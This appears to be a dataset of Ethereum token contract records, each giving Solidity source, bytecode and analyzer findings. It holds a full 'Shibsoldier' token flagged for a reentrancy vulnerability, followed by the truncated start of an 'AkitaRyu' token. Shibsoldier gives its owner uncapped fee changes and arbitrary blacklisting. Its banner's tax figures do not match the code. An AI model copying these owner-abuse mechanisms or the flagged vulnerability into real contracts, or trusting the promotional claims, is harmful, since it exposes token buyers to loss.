\ \ | __ | | | | _ < \ \ | | | | | | | | | || | | __| | /
.----) | | | | | | | | |_) | .----) | | `--' | | `----.| '--' || | | |____ | |\ \----.
|_______/ |__| |__| |__| |______/ |_______/ \______/ |_______||_______/ |__| |_______|| _| `._____|
Shibsoldier - We need More than a Scarecrow to Protect Shib.
Agressively Buying Back and Burning Shib to protect the ShibArmy from Predators.
https://shibsoldier.com
https://t.me/shibsoldiererc
https://twitter.com/shibsoldiererc
Tokenomics:
- 10 million total supply
- 1% Reflections
- 6% Marketing Tax
- 6% SHIB Buy & Burn Tax
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Shibsoldier is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Shibsoldier";//////////////////////////
string private constant _symbol = "Shibsoldier";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x6a8aB1f648f689D19FdBD9D3E499927fB85c33f9);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x32874b2B164BF6EF1690C7d1066e67Bf61d33dD1);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104ed578063dd62ed3e1461050d578063ea1644d514610553578063f2fde38b1461057357600080fd5b8063a2a957bb14610468578063a9059cbb14610488578063bfd79284146104a8578063c3c8cd80146104d857600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b41146101f357806398a5c3151461044857600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab7565b610593565b005b3480156101ff57600080fd5b50604080518082018252600b81526a29b434b139b7b63234b2b960a91b6020820152905161022d9190611be1565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a0d565b610640565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50662386f26fc100005b60405190815260200161022d565b3480156102ce57600080fd5b506102566102dd3660046119cd565b610657565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022d565b34801561032057600080fd5b50601554610286906001600160a01b031681565b34801561034057600080fd5b506101f161034f36600461195d565b6106c0565b34801561036057600080fd5b506101f161036f366004611b7e565b61070b565b34801561038057600080fd5b506101f1610753565b34801561039557600080fd5b506102b46103a436600461195d565b61079e565b3480156103b557600080fd5b506101f16107c0565b3480156103ca57600080fd5b506101f16103d9366004611b98565b610834565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610286565b34801561041e57600080fd5b506101f161042d366004611b7e565b610863565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b506101f1610463366004611b98565b6108ab565b34801561047457600080fd5b506101f1610483366004611bb0565b6108da565b34801561049457600080fd5b506102566104a3366004611a0d565b610918565b3480156104b457600080fd5b506102566104c336600461195d565b60106020526000908152604090205460ff1681565b3480156104e457600080fd5b506101f1610925565b3480156104f957600080fd5b506101f1610508366004611a38565b610979565b34801561051957600080fd5b506102b4610528366004611995565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055f57600080fd5b506101f161056e366004611b98565b610a28565b34801561057f57600080fd5b506101f161058e36600461195d565b610a57565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016105bd90611c34565b60405180910390fd5b60005b815181101561063c576001601060008484815181106105f857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063481611d47565b9150506105c9565b5050565b600061064d338484610b41565b5060015b92915050565b6000610664848484610c65565b6106b684336106b185604051806060016040528060288152602001611da4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a1565b610b41565b5060019392505050565b6000546001600160a01b031633146106ea5760405162461bcd60e51b81526004016105bd90611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107355760405162461bcd60e51b81526004016105bd90611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078857506013546001600160a01b0316336001600160a01b0316145b61079157600080fd5b4761079b816111db565b50565b6001600160a01b03811660009081526002602052604081205461065190611260565b6000546001600160a01b031633146107ea5760405162461bcd60e51b81526004016105bd90611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085e5760405162461bcd60e51b81526004016105bd90611c34565b601655565b6000546001600160a01b0316331461088d5760405162461bcd60e51b81526004016105bd90611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d55760405162461bcd60e51b81526004016105bd90611c34565b601855565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016105bd90611c34565b600893909355600a91909155600955600b55565b600061064d338484610c65565b6012546001600160a01b0316336001600160a01b0316148061095a57506013546001600160a01b0316336001600160a01b0316145b61096357600080fd5b600061096e3061079e565b905061079b816112e4565b6000546001600160a01b031633146109a35760405162461bcd60e51b81526004016105bd90611c34565b60005b82811015610a225781600560008686858181106109d357634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e8919061195d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1a81611d47565b9150506109a6565b50505050565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016105bd90611c34565b601755565b6000546001600160a01b03163314610a815760405162461bcd60e51b81526004016105bd90611c34565b6001600160a01b038116610ae65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b038216610c045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6001600160a01b038216610d2b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b60008111610d8d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bd565b6000546001600160a01b03848116911614801590610db957506000546001600160a01b03838116911614155b1561109a57601554600160a01b900460ff16610e52576000546001600160a01b03848116911614610e525760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bd565b601654811115610ea45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bd565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee657506001600160a01b03821660009081526010602052604090205460ff16155b610f3e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bd565b6015546001600160a01b03838116911614610fc35760175481610f608461079e565b610f6a9190611cd9565b10610fc35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bd565b6000610fce3061079e565b601854601654919250821015908210610fe75760165491505b808015610ffe5750601554600160a81b900460ff16155b801561101857506015546001600160a01b03868116911614155b801561102d5750601554600160b01b900460ff165b801561105257506001600160a01b03851660009081526005602052604090205460ff16155b801561107757506001600160a01b03841660009081526005602052604090205460ff16155b1561109757611085826112e4565b47801561109557611095476111db565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110dc57506001600160a01b03831660009081526005602052604090205460ff165b8061110e57506015546001600160a01b0385811691161480159061110e57506015546001600160a01b03848116911614155b1561111b57506000611195565b6015546001600160a01b03858116911614801561114657506014546001600160a01b03848116911614155b1561115857600854600c55600954600d555b6015546001600160a01b03848116911614801561118357506014546001600160a01b03858116911614155b1561119557600a54600c55600b54600d555b610a2284848484611489565b600081848411156111c55760405162461bcd60e51b81526004016105bd9190611be1565b5060006111d28486611d30565b95945050505050565b6012546001600160a01b03166108fc6111f58360026114b7565b6040518115909202916000818181858888f1935050505015801561121d573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112388360026114b7565b6040518115909202916000818181858888f1935050505015801561063c573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bd565b60006112d16114f9565b90506112dd83826114b7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138e57600080fd5b505afa1580156113a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c69190611979565b816001815181106113e757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140d9130911684610b41565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611446908590600090869030904290600401611c69565b600060405180830381600087803b15801561146057600080fd5b505af1158015611474573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114965761149661151c565b6114a184848461154a565b80610a2257610a22600e54600c55600f54600d55565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611641565b600080600061150661166f565b909250905061151582826114b7565b9250505090565b600c5415801561152c5750600d54155b1561153357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061155c876116ad565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158e908761170a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115bd908661174c565b6001600160a01b0389166000908152600260205260409020556115df816117ab565b6115e984836117f5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162e91815260200190565b60405180910390a3505050505050505050565b600081836116625760405162461bcd60e51b81526004016105bd9190611be1565b5060006111d28486611cf1565b6006546000908190662386f26fc1000061168982826114b7565b8210156116a457505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116ca8a600c54600d54611819565b92509250925060006116da6114f9565b905060008060006116ed8e87878761186e565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a1565b6000806117598385611cd9565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bd565b60006117b56114f9565b905060006117c383836118be565b306000908152600260205260409020549091506117e0908261174c565b30600090815260026020526040902055505050565b600654611802908361170a565b600655600754611812908261174c565b6007555050565b6000808080611833606461182d89896118be565b906114b7565b90506000611846606461182d8a896118be565b9050600061185e826118588b8661170a565b9061170a565b9992985090965090945050505050565b600080808061187d88866118be565b9050600061188b88876118be565b9050600061189988886118be565b905060006118ab82611858868661170a565b939b939a50919850919650505050505050565b6000826118cd57506000610651565b60006118d98385611d11565b9050826118e68583611cf1565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bd565b803561194881611d8e565b919050565b8035801515811461194857600080fd5b60006020828403121561196e578081fd5b81356112dd81611d8e565b60006020828403121561198a578081fd5b81516112dd81611d8e565b600080604083850312156119a7578081fd5b82356119b281611d8e565b915060208301356119c281611d8e565b809150509250929050565b6000806000606084860312156119e1578081fd5b83356119ec81611d8e565b925060208401356119fc81611d8e565b929592945050506040919091013590565b60008060408385031215611a1f578182fd5b8235611a2a81611d8e565b946020939093013593505050565b600080600060408486031215611a4c578283fd5b833567ffffffffffffffff80821115611a63578485fd5b818601915086601f830112611a76578485fd5b813581811115611a84578586fd5b8760208260051b8501011115611a98578586fd5b602092830195509350611aae918601905061194d565b90509250925092565b60006020808385031215611ac9578182fd5b823567ffffffffffffffff80821115611ae0578384fd5b818501915085601f830112611af3578384fd5b813581811115611b0557611b05611d78565b8060051b604051601f19603f83011681018181108582111715611b2a57611b2a611d78565b604052828152858101935084860182860187018a1015611b48578788fd5b8795505b83861015611b7157611b5d8161193d565b855260019590950194938601938601611b4c565b5098975050505050505050565b600060208284031215611b8f578081fd5b6112dd8261194d565b600060208284031215611ba9578081fd5b5035919050565b60008060008060808587031215611bc5578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0d57858101830151858201604001528201611bf1565b81811115611c1e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb85784516001600160a01b031683529383019391830191600101611c93565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cec57611cec611d62565b500190565b600082611d0c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2b57611d2b611d62565b500290565b600082821015611d4257611d42611d62565b500390565b6000600019821415611d5b57611d5b611d62565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062677c71977a8801d795efa885ba4a6caa411b474b4c4f76d5da0bd4f0d75f6864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,189 |
0x0040da8480b899f555ab6904f574e0c54b31386b | /**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
/*
___ __ __ __ _____ ___ _____ _ _ __ __
||=|| ||<< || || ||=|| ||_// \\// || ||
|| || || \\ || || || || || \\ // \\_//
The lost son of the infamous Dogefather. Shiba Inu killed Ryu’s father to take over the infamous INU corporation. Ever since, Akita Ryu has been on a
path to terminate all inferior Shiba’s and retake the DOG TITLE legacy.
AkitaRyu token is a trusted advanced cryptocurrency created and developed by Summit BC development team.
It will be the native token on SummitSwap, a platform for everyone.
✅ FUNDS ARE SAFU - WE OFFER
🚀 Fair Launch
🔑 Locked Liquidity
🖇 Renounced Ownership
WHITEPAPER IS IN PROGRESS. DON'T MISS OUT ON OUR PLANS TO CREATE A DECENTRALIZED EXCHANGE BUILT FOR BETTING ON MEMECOINS!
https://t.me/akitaryu
AkitaRyu.com
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
